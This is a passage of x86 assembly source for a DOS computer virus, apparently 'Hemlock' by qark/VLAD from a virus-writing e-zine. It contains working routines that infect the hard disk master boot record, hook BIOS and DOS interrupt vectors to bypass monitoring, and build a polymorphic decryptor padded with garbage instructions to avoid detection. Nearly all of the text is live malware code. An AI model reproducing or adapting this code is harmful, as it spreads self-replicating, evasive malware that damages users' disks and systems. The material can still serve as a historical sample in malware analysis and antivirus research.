Check_MBR:
;Assumes SI=Delta
;On exit: JE infected JNE not infected
push ax
push bx
push cx
push dx
push es
push cs
pop es
mov ax,201h
lea bx,[si+offset end_virus]
mov cx,1
mov dx,80h
int 13h
cmp word ptr es:[bx+offset marker - offset bootsector],'uE'
pop es
pop dx
pop cx
pop bx
pop ax
ret
;....................................
SetROM15_13:
;Sets int15/13 to the ROM vector (if it can find it)
;SI=Delta
push ax
push si
push di
push ds
push es
cld
mov di,si ;DI=Delta
mov ax,0f000h ;ROM BIOS segment
mov ds,ax
mov si,[0ff0dh] ;ROM interrupt table
lodsb
cmp al,0e9h
je found_rom15
mov si,0f859h ;The IBM standard int15 address
lodsb
cmp al,0e9h ;Is there a JMP there ?
jne find_rom13
found_rom15:
dec si
push ds
push cs
pop ds ;DS=CS
xor ax,ax
mov es,ax ;ES=0
push es:[15h*4]
pop [di+offset i15] ;Save the offset
mov es:[15h*4],si ;Set the offset
push es:[15h*4+2]
pop [di+offset i15+2] ;Save the segment
mov es:[15h*4+2],0f000h ;Set the segment
pop ds
find_rom13:
xor si,si
inc si
search13:
cmp si,0fff0h ;Most AMIBIOSes just have this
jae not_present13 ;signature at their int13 entry
dec si ;point. In fact every one I looked
lodsw ;at had it.
cmp ax,0fa80h
jne search13
lodsw
cmp ax,0fb80h
jne search13
lodsb
cmp al,0fch
jne search13
sub si,5
xor ax,ax
mov ds,ax
push cs
pop es
mov ax,si ;AX=Offset of int13handler
mov si,13h*4
lea di,[di+offset i13]
movsw
movsw
mov word ptr [si-4],ax
mov word ptr [si-2],0f000h
not_present13:
pop es
pop ds
pop di
pop si
pop ax
ret
;....................................
Infect_MBR:
;Infects the hard disk MBR
;SI=Delta Offset
push ax
push bx
push cx
push dx
push ds
push es
xor ax,ax
mov dx,80h
int 13h
lea bx,[si+offset end_virus]
push cs
pop es
mov ax,201h
mov cx,1
int 13h
mov ax,301h
mov cl,3
int 13h
push cs
pop ds ;CS=DS=ES
push si
lea di,[si+offset end_virus]
add si,offset bootsector
mov cx,offset bs_end - offset bootsector
cld
rep movsb
pop si
lea di,[si+offset end_virus + 510]
mov ax,0aa55h
stosw ;Put the bootsector marker in.
lea bx,[si+offset end_virus]
mov cx,1
mov ax,301h
int 13h
mov cx,4
mov ax,307h
mov bx,si
int 13h
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
ret
;....................................
Reset15_13:
;Resets int13/15 to original vectors.
;SI=Delta offset
push ax
push si
push di
push ds
push es
push si
push cs
pop ds ;DS=CS
xor ax,ax
mov es,ax ;ES=0
add si,offset i15
mov di,15h*4
cld
movsw
movsw ;Restore int15
pop si ;Restore SI=Delta
add si,offset i13
mov di,13h*4
movsw
movsw ;Restore int13
pop es
pop ds
pop di
pop si
pop ax
ret
;....................................
Set_Int24:
;Sets int24 to our handler
push ax
push si
push di
push ds
push es
xor ax,ax
mov ds,ax
push cs
pop es
mov si,24h*4
mov di,offset i24
cld
movsw
movsw
mov word ptr [si-4],offset int24h
mov word ptr [si-2],cs
pop es
pop ds
pop di
pop si
pop ax
ret
;....................................
Reset_Int24:
;Restores int24
push ax
push si
push di
push ds
push es
xor ax,ax
mov es,ax
push cs
pop ds
mov si,offset i24
mov di,24h*4
cld
movsw
movsw
pop es
pop ds
pop di
pop si
pop ax
ret
;....................................
Setup_Poly:
;Copies the virus code into the buffer after the virus, generates the
;polymorphic decryptor/encryptor and encrypts it.
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
push bp
push cs
push cs
pop ds
pop es
mov bp,word ptr delta
mov cx,offset enc_end - offset enc_start
xor di,di
call poly
xor si,si
mov di,offset end_virus
mov cx,di
rep movsb
mov al,byte ptr cipher_val
mov si,offset end_virus + offset enc_start
mov cx,offset enc_end - offset enc_start - 1
call enc_loop
pop bp
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
ret
;....................................
Poly Proc Near
;;ES:DI=buffer
;;CX=size of enc buffer
;;BP=delta offset
;AL=cipher
;SI=pointer
;CX=counter
; The basic algorithm for the polymorphism
; mov al,0
; mov si,offset encstart
; push si
; mov cx,200
;encloop:
; xor byte ptr cs:[si]
; ror al,1
; ror al,1
; inc si
; dec cx
; or cx,cx
; jns encloop
;encstart:
; ret
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
cld
push cs
pop ds
in al,40h
mov byte ptr cipher_val,al
xor dx,dx
retry_var:
cmp dl,7
je past_first
in al,40h
and al,3
cmp al,4
je retry_var
dec al
js set_cx
jz set_si
set_al:
test dl,1
jnz retry_var
or dl,1
mov al,0b0h ;MOV AL,xx
stosb
mov al,byte ptr cipher_val
stosb
jmp short retry_var
set_cx:
test dl,2
jnz retry_var
or dl,2
mov al,0b9h ;MOV CX,xxxx
stosb
mov ax,cx
dec ax ;less one because of the JNS
stosw
jmp short retry_var
set_si:
test dl,4
jnz retry_var
or dl,4
mov al,0beh ;MOV SI,xxxx
stosb
mov ax,bp
add ax,offset enc_start
stosw
mov al,56h ;PUSH SI
stosb
jmp retry_var
past_first:
;Just do a crap instruction so that our JNS xxxx won't be the same.
;It just reads instructions out of DATABASE1
xor dx,dx
retry_second:
mov word ptr jmp_calc,di
mov si,offset database1
in al,40h
and ax,6 ;3*2
add si,ax
movsw
redo_table:
cmp dl,31
je past_second
mov si,offset random_table
in al,40h
and ax,14
cmp ax,8
ja redo_table
add si,ax
lodsw
call ax
jmp short redo_table
set_xor:
test dl,1
jnz garbage1
or dl,1
mov al,02eh ;CS:
stosb
mov ax,430h ;BYTE PTR [SI],AL
stosw
ret
garbage1: ;Random AL garbler
test dl,2
jnz garbage2
or dl,2
jmp short do_garbage
garbage2:
test dl,4
jnz inc_si
or dl,4
do_garbage:
mov si,offset database2 ;Garbage database
in al,40h
and ax,7
shl ax,1
add si,ax
movsw
ret
inc_si:
test dl,8
jnz dec_cx
or dl,8
mov al,46h ;INC SI
stosb
ret
dec_cx:
test dl,16
jnz set_xor
or dl,16
mov al,49h ;DEC CX
stosb
ret
past_second:
xor dx,dx
redo_second:
cmp dl,3
je do_ret
in al,40h
and al,1
cmp al,0
je one_byte1
or_cx_cx:
test dl,1
jnz one_byte1
or dl,1
mov si,offset database4
in al,40h
and ax,1
add si,ax ;Index to a compare instruction
movsb
mov al,0c9h ;CX,CX
stosb
;jge, jns etc
mov si,offset database5
in al,40h
and ax,1
add si,ax
movsb ;Put a JGE/JNS in.
mov ax,di
inc ax ;Calculate the jump.
sub ax,word ptr jmp_calc
mov ah,al
in al,40h
and al,2
sub ah,al
mov al,ah
neg al
stosb
jmp redo_second
one_byte1:
test dl,2
jnz or_cx_cx
or dl,2
mov si,offset database3 ;One byte crap
in al,40h
and ax,7
add si,ax
movsb
jmp redo_second
do_ret:
mov si,offset database3
in al,40h
and ax,7 ;0-7
add si,ax ;Index into table
lodsb
mov ah,0c3h ;RET
mov dx,ax
in al,40h
and ax,7
mov cx,ax
swap_pos:
xchg dh,dl
loop swap_pos
mov ax,dx
stosw ;Store the one byte crap/ret combination
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
ret
random_table dw offset set_xor
dw offset garbage1
dw offset garbage2
dw offset inc_si
dw offset dec_cx
database1: ;Utter crap
xchg bx,dx
mov bl,9
xor dx,dx
sub bx,bx
database2: ;AL garblers
ror al,1
add al,07ah
sub al,0e0h
dec al
sub al,0b2h
dec al
add al,81h
ror al,1
database3: ;One byte crap
cld
dec dx
inc bx
scasb
inc di
dec di
inc dx
dec bx
database4:
db 0bh ;OR xx,xx
db 23h ;AND xx,xx
database5:
db 79h ;JNS
db 7dh ;JGE
cipher_val db 0
jmp_calc dw 0
Poly EndP
;....................................
;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
VirusName db 'Hemlock by [qark/VLAD]',0
delta dw 0 ;delta offset
qemm db 0 ;0=no qemm
dosdata db 'OSDATA' ;DOSDATA.SYS
flag21 db 0
mz_counter db 1
stealth db 1 ;0=no stealth
filetype db 'C' ;C=COM S=SYS E=EXE
virus_jump db 0e9h,0,0
enc_end:
db 0 ;The polymorphics will encrypt this
;byte sometimes.
header db 0cdh,20h,16h dup (0)
end_virus: ;<-- Our virus length
db offset end_virus dup (0)
db 100 dup (0)
Mem_Size:
IVT db 1024 dup (0)
mode db 0
- VLAD #3 INDEX -